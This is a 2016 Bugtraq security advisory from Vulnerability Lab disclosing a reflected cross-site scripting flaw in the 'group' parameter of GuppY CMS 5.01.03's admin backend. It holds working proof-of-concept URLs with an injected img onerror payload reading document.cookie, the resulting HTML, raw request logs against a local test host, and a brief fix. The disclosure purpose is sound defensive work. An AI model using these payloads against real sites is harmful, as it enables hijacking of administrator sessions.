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Guppy CMS v5.01.03 - Client Side Cross Site Scripting Web Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Guppy CMS v5.01.03 - Client Side Cross Site Scripting Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 2 Aug 2016 10:59:56 +0200
Document Title:
===============
Guppy CMS v5.01.03 - Client Side Cross Site Scripting Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1887
Release Date:
=============
2016-07-29
Vulnerability Laboratory ID (VL-ID):
====================================
1887
Common Vulnerability Scoring System:
====================================
3.3
Product & Service Introduction:
===============================
GuppY, the easy, free and databaseless web portal, will allow you to generate
very easily a complete and interactive web site.
A guestbook, a forum and the possibility to easily add some mods as poll,
gallery, directory, etc.
(Copy of the Vendor Homepage: http://www.freeguppy.org/?lng=en )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross
site scripting vulnerability in the official Guppy v5.01.03 open-source content
management system.
Vulnerability Disclosure Timeline:
==================================
2016-07-29: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
GuppY
Product: Gruppy - Content Management System (Web-Application) 5.01.03
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the
official Guppy v5.01.03 open-source content management system.
The vulnerability allows remote attackers to inject malicious script codes on
client-side browser to web-application GET method requests.
The vulnerability is located in the groups parameter of the admin.php file.
Remote attackers are able to prepare special crafted malicious
links to trigger a client-side cross site scripting issue aginst the cms
administrator accounts. The request method to inject is GET and
the attack vector is located on the client-side of the content management
system.
The security risk of the non-persistent vulnerability is estimated as medium
with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the persistent input validation web vulnerability requires no
privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing, non-persistent external redirects to malicious
source and non-persistent manipulation of affected or connected application
modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Administrator Backend - User Management
Vulnerable File(s):
[+] admin.php
Vulnerable Parameter(s):
[+] groups
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerability can be exploited by
remote attackers without privileged user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC. Exploitation
http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(document.cookie);%3E
http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E
http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(71337);%3E
PoC: Admin Backend (admin.php?lng=fr&pg=members&act=6&group)
<div class="tblc">
<br><p align="center">Ici vous pouvez <strong>ajouter</strong> ou
<strong>supprimer</strong> un membre du groupe privé</p>
<br><hr>
<br><br><br>
<table class="bord" summary="" align="center" border="0" cellpadding="2"
cellspacing="1" width="300">
<tbody><tr class="forum">
<td style="text-align:left;" width="66%"><b>Membres</b></td>
<td align="center"><b>Supprimer</b></td>
</tr>
</tbody></table><br> <form name="members" action="admin.php?lng=fr"
method="post">
<input name="pg" value="members" type="hidden">
<input name="regit" value="add" type="hidden">
<input name="act" value="6" type="hidden">
<input name="group" value=" " type="hidden"><[CLIENT SIDE SCRIPT CODE
EXECUTION OF GROUPS!]img src="x" onerror="prompt(22);">" />
<p style="text-align:center">Nouveau membre : <select
name="member" style="width:120px;">
<option value=""> </option></select><br>
<br><button type="submit" title="Enregistrer">Enregistrer</button>
</p></form>
<br><p></p>
<br><hr>
<p style="padding:10px 0;" align="center">
<a href="admin.php?lng=fr&pg=members&act=5">Retour Gestion des
groupes</a><br>
<a href="admin.php?lng=fr&pg=members">Retour admin membres</a> || <a
href="admin.php?lng=fr">Retour Admin</a> || <b><a
href="admin.php?lng=fr&logout=1">DECONNEXION</a></b></p>
</div>
--- PoC Session Logs [GET] ---
14:14:47.103[95ms][total 2880ms] Status: 200[OK]
GET
http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(31337);%3E
Mime Type[text/html]
Request Header:
Host[guppy-cms.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[GuppyAdmin=-1393274728;
__utma=87180614.1614609677.1469523897.1469530273.1469534279.3; __utmc=87180614;
__utmz=87180614.1469534279.3.2.utmcsr=guppy-cms.localhost:8080|utmccn=(referral)|utmcmd=referral|utmcct=/guppy/;
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;
fusion23Up5_visited=yes;
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.3.1469535086.1469534277.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469534277%2C%22http%3A%2F%2Fwww.13956872
hfd2incb.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4;
_pk_ses.2.bb5e=*; __utmb=87180614.95.10.1469534279; __utmt=1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=;]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[GuppYUser=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
Max-Age=0]
-
14:15:37.856[95ms][total 4423ms] Status: 200[OK]
GET
http://guppy-cms.localhost:8080/guppy/admin/admin.php?lng=fr&pg=members&act=6&group=%20%22%3E%3Cimg%20src=x%20onerror=prompt(31337);%3E
Mime Type[text/html]
Request Header:
Host[guppy-cms.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101
Firefox/47.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[GuppyAdmin=-1393274728;
__utma=87180614.1614609677.1469523897.1469530273.1469534279.3; __utmc=87180614;
__utmz=87180614.1469534279.3.2.utmcsr=guppy-cms.localhost:8080|utmccn=(referral)|utmcmd=referral|utmcct=/guppy/;
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A;
fusion23Up5_visited=yes;
_pk_id.2.bb5e=62061ddadaeb545e.1469523926.3.1469535289.1469534277.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469534277%2C%22http%3A%2F%2Fwww.13956872
hfd2incb.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D;
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4;
_pk_ses.2.bb5e=*; __utmb=87180614.97.10.1469534279; __utmt=1]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=;]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[GuppYUser=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT;
Max-Age=0]
Reference(s):
http://guppy-cms.localhost:8080/
http://guppy-cms.localhost:8080/guppy/
http://guppy-cms.localhost:8080/guppy/admin/
http://guppy-cms.localhost:8080/guppy/admin/admin.php
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable
`groups` parameter in the add GET method request.
Disallow the usage of special chars to prevent client-side script code
injection attacks.
Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in
the guppy cms groups modul is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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